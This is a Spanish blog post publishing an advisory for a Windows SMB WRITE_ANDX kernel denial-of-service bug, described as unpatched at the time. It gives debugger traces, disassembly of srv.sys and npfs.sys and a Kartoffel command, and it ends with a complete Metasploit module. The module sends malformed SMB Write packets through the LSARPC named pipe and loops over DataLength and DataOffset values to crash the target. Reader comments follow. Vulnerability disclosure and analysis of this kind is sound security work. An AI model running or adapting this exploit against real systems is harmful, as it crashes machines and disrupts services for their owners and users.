Random IRC quote :      <nullsub> a mi no me vengais con tecnicismos de twitter

Microsoft Windows WRITE_ANDX SMB command handling Kernel DoS

Hola a todos,
aquí va el advisory de un DoS que descubrí hace unos días y que en un principio no parecía tener mucha chicha, pero que ha terminado siendo un DoS en toda regla y bastante curioso. No hay mucho más que decir al respecto porque el advisory, con el pedazo de análisis cañero que se ha currado Rubén, ya lo dice todo 😉 Lo único aclarar que hasta ahora no ha aparecido información sobre el bug por ningún sitio, así que aquí lo teneís en primicia (a dia de hoy el bug está sin parchear).Así que lo dicho, aquí va el advisory para ésta vulnerabilidad.

Vulnerability and Exploit: Javier Vicente Vallejo, http://www.vallejo.cc
Vulnerability Analysis: Ruben Santamarta, http://www.reversemode.com

Abstract

Un DoS ocurre cuando se envía un SMB Write malformado a una máquina con Windows Vista instalado, a través de una pipe conectada.

En un principio el bug se reprodujo con la interfaz SRVSVC. Por defecto esta pipe se podría conectar con cualquier usuario, aunque las NULL sessions están restringidas por defecto para esta interfaz rpc. Tras el análisis se pudo comprobar que el bug se reproducía también con otras interfaces que usen Named Pipes como endpoints, por ejemplo, con LSARPC. Esta interfaz podría conectarse mediante una NULL Session, lo que nos permite llevar a cabo el DoS sobre cualquier Vista sin necesidad de conocer ningún usuario.

Affected versions

Windows 2000,XP,2003 Server,Vista y Server 2008. (32-bit)

Probado exitósamente con Microsoft Windows Vista SP1 con los últimos parches.

Analysis

La causa para este DoS es un paquete de tipo SMB WRITE_ANDX (http://msdn.microsoft.com/en-us/library/aa302278.aspx) con valores erróneos para los campos DataOffset y DataLength.

El casque ocurre cuando npfs.sys llama a memcpy con un puntero inválido para el parámetro src.

1: kd> !analyze -v
*******************************************************************************
* *
* Bugcheck Analysis *
* *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced. This cannot be protected by try-except,
it must be protected by a Probe. Typically the address is just plain bad or it
is pointing at freed memory.
Arguments:
Arg1: 92bc0000, memory referenced.
Arg2: 00000000, value 0 = read operation, 1 = write operation.
Arg3: 81c834b3, If non-zero, the instruction address which referenced the bad memory
address.
Arg4: 00000000, (reserved)

Debugging Details:
——————
READ_ADDRESS: 92bc0000 Nonpaged pool

FAULTING_IP:
nt!memcpy+33
81c834b3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]

MM_INTERNAL_CODE: 0

DEFAULT_BUCKET_ID: VISTA_DRIVER_FAULT

BUGCHECK_STR: 0x50

PROCESS_NAME: System

CURRENT_IRQL: 0

TRAP_FRAME: 90126b40 — (.trap 0xffffffff90126b40)
ErrCode = 00000000
eax=92bc02cf ebx=90126c4c ecx=000000b4 edx=00000000 esi=92bbffff edi=98640b98
eip=81c834b3 esp=90126bb4 ebp=90126bbc iopl=0 nv up ei pl nz ac po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010212
nt!memcpy+0x33:
81c834b3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:98640b98=00000000 ds:0023:92bbffff=????????
Resetting default scope

LAST_CONTROL_TRANSFER: from 81cd86df to 81c81720

STACK_TEXT:
901266b4 81cd86df 00000003 9012dc44 00000000 nt!RtlpBreakWithStatusInstruction
90126704 81cd914c 00000003 00000000 8c3236b0 nt!KiBugCheckDebugBreak+0x1c
90126ab0 81ca9df2 00000050 92bc0000 00000000 nt!KeBugCheck2+0x5f4
90126b28 81c8fa34 00000000 92bc0000 00000000 nt!MmAccessFault+0x106
90126b28 81c834b3 00000000 92bc0000 00000000 nt!KiTrap0E+0xdc
90126bbc 8726422c 98640a68 92bbfecf 00000400 nt!memcpy+0x33
90126c04 87261f32 952ad314 00000001 92bbfecf Npfs!NpWriteDataQueue+0xf6
90126c58 8726289d 839f3c40 00000001 90126c70 Npfs!NpInternalWrite+0x124
90126c7c 872628e7 839f3c40 92baf9a8 0000ffff Npfs!NpCommonFileSystemControl+0x17b
90126c94 81c27fae 839f3c40 92baf9a8 92baf008 Npfs!NpFsdFileSystemControl+0x19
90126cac 901736d0 90827482 9016562c 92baf008 nt!IofCallDriver+0x63
90126d30 9015a39b 83a01dd8 83a01da0 92baf010 srv!SrvSmbWriteAndX+0x9a1
90126d54 9016be8d 00000000 8c3236b0 00000000 srv!SrvProcessSmb+0x151
90126d7c 81e25472 00a01da0 9012d680 00000000 srv!WorkerThread+0x12c
90126dc0 81c9141e 9016bd61 83a01da0 00000000 nt!PspSystemThreadStartup+0x9d
00000000 00000000 00000000 00000000 00000000 nt!KiThreadStartup+0x16

Srv.sys se encarga de procesar el paquete recibido y enrutarlo hacia el driver que corresponda, en este caso npfs.sys (named pipe file system driver) al servir la NamedPipe SrvSvc como endpoint para la interfaz RPC que estamos usando. Veamos cómo maneja el paquete enviado.

Módulo: srv.sys        Vista SP1

PAGE:00048583                 movzx   ecx, word ptr [ebx+17h]    ; Packet. DataOffset
PAGE:00048587                 mov     [ebp+var_50], ecx
PAGE:0004858A                 mov     eax, [esi+78h]            ; Packet
PAGE:0004858D                 add     eax, ecx                  ; Packet.Data[]
PAGE:0004858F                 mov     [ebp+VirtualAddress], eax
PAGE:00048592                 mov     eax, [esi+6Ch]
PAGE:00048595                 mov     eax, [eax+10h]
PAGE:00048598                 sub     eax, ecx                          ; Real packet len – DataOffset
PAGE:0004859A                 movzx   edi, word ptr [ebx+15h]   ; Packet.DataLen
PAGE:0004859E                 cmp     edi, eax
PAGE:000485A0                 jb      short loc_485A4
PAGE:000485A2                 mov     edi, eax
 

En esta porción de código, el driver podría hacer un chequeo para evitar continuar con el proceso en caso de que los offsets no se correspondan con el tamaño real del paquete enviado. A continuación srv.sys construye ( o reusa ) una IRP del tipo FILESYSTEM_CONTROL (0xD) cuyo IOCTL es 0x119FF8 ( FSCTL_PIPE_INTERNAL_WRITE, METHOD_BUFFERED ) que envía al driver correspondiente a traves de una llamada a IofCallDriver. Esta IRP contendrá en el paquete enviado, aunque puede no mantener la coherencia respecto a los campos internos del paquete. Recordemos que la memoria reservada por el IO Manager para crear un buffer en METHOD_BUFFERED se obtiene del area de memoria NonPaged Pool, este es un punto importante para entender porqué se puede producir el fallo.

Módulo: srv.sys        Vista SP1

PAGE:00048C90                 push    ebx             ; int
PAGE:00048C91                 push    ebx             ; int
PAGE:00048C92                 push    ebx             ; int
PAGE:00048C93                 push    ebx             ; int
PAGE:00048C94                 push    edi             ; int
PAGE:00048C95                 push    [ebp+VirtualAddress] ; int
PAGE:00048C98                 push    119FF8h         ; int
PAGE:00048C9D                 push    0Dh             ; char
PAGE:00048C9F                 push    esi             ; int
PAGE:00048CA0                 mov     eax, [ebp+FileInformation]
PAGE:00048CA3                 push    dword ptr [eax+38h] ; FileObject
PAGE:00048CA6                 push    dword ptr [esi+80h] ; Irp
PAGE:00048CAC                 call    _SrvBuildIoControlRequest@44 ; SrvBuildIoControlRequest(x,x,x,x,x,x,x,x,x,x,x)
[]
PAGE:00048D23                 mov     edx, [esi+80h]
PAGE:00048D29                 mov     ecx, [ebp+var_44]
PAGE:00048D2C                 call    ds:__imp_@IofCallDriver@8 ; IofCallDriver
 

Srv.sys reusa una IRP anteriormente reservada.

Esta IRP es procesada dentro de la rutina npfs!NpCommonFileSystemControl

Módulo: npfs.sys       Vista SP1

PAGE:0001885C loc_1885C:                  ; CODE XREF: NpCommonFileSystemControl(x,x)+E7j
PAGE:0001885C                 cmp     eax, 119FF8h
PAGE:00018861                 jz      short loc_18896

PAGE:00018896 loc_18896:            ; CODE XREF: NpCommonFileSystemControl(x,x)+139j
PAGE:00018896                 lea     eax, [ebp+var_C]
PAGE:00018899                 push    eax
PAGE:0001889A                 push    edx
PAGE:0001889B                 push    [ebp+Irp]
PAGE:0001889E                 call    _NpInternalWrite@12 ; NpInternalWrite(x,x,x)
 

Dentro de esta rutina acabamos finalmente en npfs!NpWriteDataQueue que es donde se puede disparar el fallo.
Npfs recupera una entrada de una cola que contiene IRPs pendientes asociadas a la conexión.

Módulo: npfs.sys       Vista SP1

PAGE:0001A187                 push    esi
PAGE:0001A188                 push    [ebp+arg_0]
PAGE:0001A18B                 call    _NpGetNextRealDataQueueEntry@8 ; NpGetNextRealDataQueueEntry(x,x)
 

Debido a que el driver realiza una comprobación en base a la entrada adquirida, no es posible que se de un overflow en la operación memcpy, como vemos a continuación

Módulo: npfs.sys       Vista SP1

loc_1A1F6:                              ; CODE XREF: NpWriteDataQueue(x,x,x,x,x,x,x,x,x,x)+92j

PAGE:0001A1F6                 mov     ecx, [ebx]      ; Packet.DataLen
PAGE:0001A1F8                 cmp     ecx, edi        ;  Entry.BufferLen ( 0x400 )
PAGE:0001A1FA                 jnb     short loc_1A1FE
PAGE:0001A1FC                 mov     edi, ecx
PAGE:0001A1FE
PAGE:0001A1FE loc_1A1FE:                              ; CODE XREF: NpWriteDataQueue(x,x,x,x,x,x,x,x,x,x)+A0j
PAGE:0001A1FE                 cmp     dword ptr [eax+10h], 1
PAGE:0001A202                 jz      short loc_1A22D
PAGE:0001A204                 test    edi, edi
PAGE:0001A206                 jbe     short loc_1A22D
PAGE:0001A208                 push    5246704Eh       ; Tag
PAGE:0001A20D                 push    edi             ; NumberOfBytes
PAGE:0001A20E                 push    0               ; PoolType
PAGE:0001A210                 call    ds:__imp__ExAllocatePoolWithTag@12 ; ExAllocatePoolWithTag(x,x,x)
 

Es decir, cualquiera que sea la cantidad de bytes que se vayan a copiar durante memcpy, esa cantidad se reserva dinámicamente por lo que nunca podrá dar lugar a un overflow.
Y finalmente llegamos a donde se produce el fallo

Módulo: npfs.sys                Vista SP1

PAGE:0001A23E                 push    edi             ; size_t
PAGE:0001A23F                 mov     eax, [ebp+arg_8] ; &amp;Packet + Packet.DataOffset
PAGE:0001A242                 sub     eax, [ebx]      ;  (&amp;Packet + Packet.DataOffset) – Packet.DataLength
PAGE:0001A244                 add     eax, [ebp+arg_C] ; &amp;Packet + (Current)Packet.DataLength
PAGE:0001A247                 push    eax             ; void *
PAGE:0001A248                 push    [ebp+P]         ; void *
PAGE:0001A24B                 call    _memcpy
 

Al ajustar los parámetros para leer la parte de datos del paquete, no se tiene en cuenta que tanto DataOffset como DataLength son incorrectos, por lo que la dirección final que se le pasa como parámetro «src» a memcpy puede apuntar a una memoria no válida, más alla del buffer reservado por Srv.sys en el area NonPaged Pool. Las tags de la memoria reservada por Srv.sys vienen dadas por ‘LSxx‘ y son reservadas a través de srv!SrvAllocateNonPagedPool

En el caso de que esa memoria no fuera válida, se produciría un BugCheck dando lugar a un fallo DoS a nivel de Kernel. Aunque todas las versiones de Windows están teóricamente afectadas, debido a la naturaleza del fallo, este puede no ser reproducible. Se ha comprobado empíricamente que bajo ciertas circunstancias Vista es más propicio a desarrollar el fallo que otros sistemas operativos, donde los Work Context de Srv.sys son más grandes desde un inicio.
Ejemplo:

Vista SP1
kd> !poolused 2
Pool Used:
NonPaged Paged
Tag Allocs Used Allocs Used
[…]
LSwi 1 16464 0 0 initial work context
LSwn 4 33088 0 0 normal work context
[…]

Recordemos

eax=92bc02cf ebx=90126c4c ecx=000000b4 edx=00000000 esi=92bbffff edi=98640b98
eip=81c834b3 esp=90126bb4 ebp=90126bbc iopl=0 nv up ei pl nz ac po nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010212
nt!memcpy+0x33:
81c834b3 f3a5 rep movs dword ptr es:[edi],dword ptr [esi] es:0023:98640b98=00000000 ds:0023:92bbffff=????????
Resetting default scope

1: kd> kv
ChildEBP RetAddr Args to Child
[…]
90126bbc 8726422c 98640a68 92bbfecf 00000400 nt!memcpy+0x33
[…]

1: kd> !pool 92bbfecf-($Packet.DataLength)
Pool page 92bafed0 region is Nonpaged pool
*92baf000 : large page allocation, Tag is LSwn, size is 0x2050 bytes
Pooltag LSwn : normal work context

Comprobamos como sí es posible que se pueda llegar a dar el caso.

1: kd> !pte 92bbfecf – ($Packet.DataLength)
VA 92bafed0
PDE at 00000000C06024A8 PTE at 00000000C0495D78
contains 00000000030B8863 contains 0000000009A40963
pfn 30b8 —DA–KWEV pfn 9a40 -G-DA–KWEV

1: kd> !pte 92bbfecf + ($Packet.DataLength)
VA 92bcfece
PDE at 00000000C06024A8 PTE at 00000000C0495E78
contains 00000000030B8863 contains 0000325E00000000
pfn 30b8 —DA–KWEV not valid
PageFile: 0
Offset: 325e
Protect: 0

Inspeccionando la memoria

1: kd> db 92bbfecf – ($Packet.DataLength)
92bafed0 ff 53 4d 42 2f 00 00 00-00 18 07 c8 00 00 cc cc .SMB/………..
92bafee0 cc cc cc cc cc cc 00 00-00 08 dc 24 01 08 37 72 ………..$..7r

1: kd> db 92bbfecf + ($Packet.DataLength)
92bcfece ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????
92bcfede ?? ?? ?? ?? ?? ?? ?? ??-?? ?? ?? ?? ?? ?? ?? ?? ????????????????

Aunque el bug no se reproduce de esta manera (ya que es debido al manejo de las IRP por parte srv.sys), si te interesa depurar parte del código involucrado en el casque, es posible llegar hasta npfs!NpInternalWrite y npfs!NpWriteDataQueue localmente con Kartoffel:

kartoffel -d \\.\pipe\lsass -n 0x20 -o 0 -z 0x101 -Z 0x0 -I 0x119ff8 -g -u ADDRESS,INVALID_ADDRESS

Exploit

Aquí hay un exploit PoC para metasploit que reproduce el DoS:

require ‘msf/core’

module Msf
module Exploits
module Test

class BugTest < Msf::Exploit::Remote

        include Exploit::Remote::SMB

        def initialize(info = {})
                super(update_info(info,
                        ‘Name’           => ‘test exploit’,
                        ‘Description’    =>    
                                "tests",
                        ‘Author’         => ‘tests’,
                        ‘License’        => MSF_LICENSE,
                        ‘Version’        => ‘$Revision: 0 $’,
                        ‘Arch’           => ‘x86’,
                        ‘Payload’        =>
                                {
                                        ‘Space’ => 1000
                                },
                        ‘Targets’        =>
                                [
                                        [
                                                ‘Windows VISTA’,
                                                {
                                                        ‘Platform’ => ‘win’
                                                }
                                        ],
                                ],
                        ‘DefaultTarget’ => 0))
        end

        def subexploit(dlenlow, doffset,fillersize)

                print_line("1")

            datastore[‘SMBUser’]=‘testuser’
            datastore[‘SMBPass’]=‘testuser’
            datastore[‘SMBDomain’]=‘COBAYA’
                datastore[‘SMBName’]=‘COBAYA’

                print_line("2")
               
                connect()

                print_line("3")

                smb_login()

                print_line("4")
 
               pkt = CONST::SMB_CREATE_PKT.make_struct

                pkt[‘Payload’][‘SMB’].v[‘Flags1’] = 0x18
                pkt[‘Payload’][‘SMB’].v[‘Flags2’] = 0xc807

                pkt[‘Payload’][‘SMB’].v[‘MultiplexID’] = simple.client.multiplex_id.to_i
                pkt[‘Payload’][‘SMB’].v[‘TreeID’] = simple.client.last_tree_id.to_i
                pkt[‘Payload’][‘SMB’].v[‘UserID’] = simple.client.auth_user_id.to_i
                pkt[‘Payload’][‘SMB’].v[‘ProcessID’] = simple.client.process_id.to_i

                pkt[‘Payload’][‘SMB’].v[‘Command’] = CONST::SMB_COM_NT_CREATE_ANDX

                pkt[‘Payload’][‘SMB’].v[‘WordCount’] = 24
               
                pkt[‘Payload’].v[‘AndX’] = 255
                pkt[‘Payload’].v[‘AndXOffset’] = 0xdede
                pkt[‘Payload’].v[‘FileNameLen’] = 14
                pkt[‘Payload’].v[‘CreateFlags’] = 0x16
                pkt[‘Payload’].v[‘AccessMask’] = 0x2019f  # Maximum Allowed
                pkt[‘Payload’].v[‘ShareAccess’] = 7
                pkt[‘Payload’].v[‘CreateOptions’] = 0x400040
                pkt[‘Payload’].v[‘Impersonation’] = 2      
                pkt[‘Payload’].v[‘Disposition’] = 1
                pkt[‘Payload’].v[‘Payload’] = "\x00\\\x00L\x00S\x00A\x00R\x00P\x00C" + "\x00\x00"

                simple.client.smb_send(pkt.to_s)

                print_line("5")

                ack = simple.client.smb_recv_parse(CONST::SMB_COM_NT_CREATE_ANDX)
               
                pkt = CONST::SMB_WRITE_PKT.make_struct

                data_offset = pkt.to_s.length4

                print_line("6")
               
                filler = Rex::Text.rand_text(fillersize)

                print_line("7")

                pkt[‘Payload’][‘SMB’].v[‘Signature1’]=0xcccccccc
                pkt[‘Payload’][‘SMB’].v[‘Signature2’]=0xcccccccc
                pkt[‘Payload’][‘SMB’].v[‘MultiplexID’] = simple.client.multiplex_id.to_i
                pkt[‘Payload’][‘SMB’].v[‘TreeID’] = simple.client.last_tree_id.to_i
                pkt[‘Payload’][‘SMB’].v[‘UserID’] = simple.client.auth_user_id.to_i
                pkt[‘Payload’][‘SMB’].v[‘ProcessID’] = simple.client.process_id.to_i
                pkt[‘Payload’][‘SMB’].v[‘Command’] = CONST::SMB_COM_WRITE_ANDX
                pkt[‘Payload’][‘SMB’].v[‘Flags1’] = 0x18
                pkt[‘Payload’][‘SMB’].v[‘Flags2’] = 0xc807
                pkt[‘Payload’][‘SMB’].v[‘WordCount’] = 14
                pkt[‘Payload’].v[‘AndX’] = 255
                pkt[‘Payload’].v[‘AndXOffset’] = 0xdede
                pkt[‘Payload’].v[‘FileID’] = ack[‘Payload’].v[‘FileID’]
                pkt[‘Payload’].v[‘Offset’] = 0
                pkt[‘Payload’].v[‘Reserved2’] = -1
                pkt[‘Payload’].v[‘WriteMode’] = 8
                pkt[‘Payload’].v[‘Remaining’] = fillersize
                pkt[‘Payload’].v[‘DataLenHigh’] = 0
                pkt[‘Payload’].v[‘DataLenLow’] = dlenlow #<==================
                pkt[‘Payload’].v[‘DataOffset’] = doffset #<====
                pkt[‘Payload’].v[‘DataOffsetHigh’] = 0xcccccccc #<====
                pkt[‘Payload’].v[‘ByteCount’] = fillersize#<====
                pkt[‘Payload’].v[‘Payload’] = filler

                print_line("8")
               
                simple.client.smb_send(pkt.to_s)
               
                print_line("9")

        end

        def exploit
               
                k=72
                j=0xffff
                while j>10000
                        i=0xffff
                        while i>10000
                                begin
                                        print_line("datalenlow=#{i} dataoffset=#{j} fillersize=#{k}")
                                        subexploit(i,j,k)
                                rescue
                                        print_line("rescue")
                                end
                                i=i-10000
                        end
                        j=j-10000
                end
               
        end

end

end
end
end
 

5 Comentarios para “Microsoft Windows WRITE_ANDX SMB command handling Kernel DoS”

  1. Comment por Matalaz | 09/15/08 at 4:30 am

    Muy buena monstruos! El análisis es de PM.

  2. Comment por Trancek | 09/15/08 at 8:07 pm

    Lo lei en cuanto salio en milw0rm, eso si en ingles, ahora en español mejor jeje, muy bueno, que currantes!!!

  3. Comment por Mario Ballano | 09/16/08 at 6:29 am

    Sois unos criminales

  4. Comment por Juan A Naranjo | 09/16/08 at 8:57 am

    Javier y Ruben, sois la caña!!. Gracias por compartir vuestro trabajo, una autentica pasada.

    Keep up your good work!!

  5. Comment por Matalaz | 09/16/08 at 12:00 pm

    @Mario

    0day que te crió!

Se han cerrado los comentarios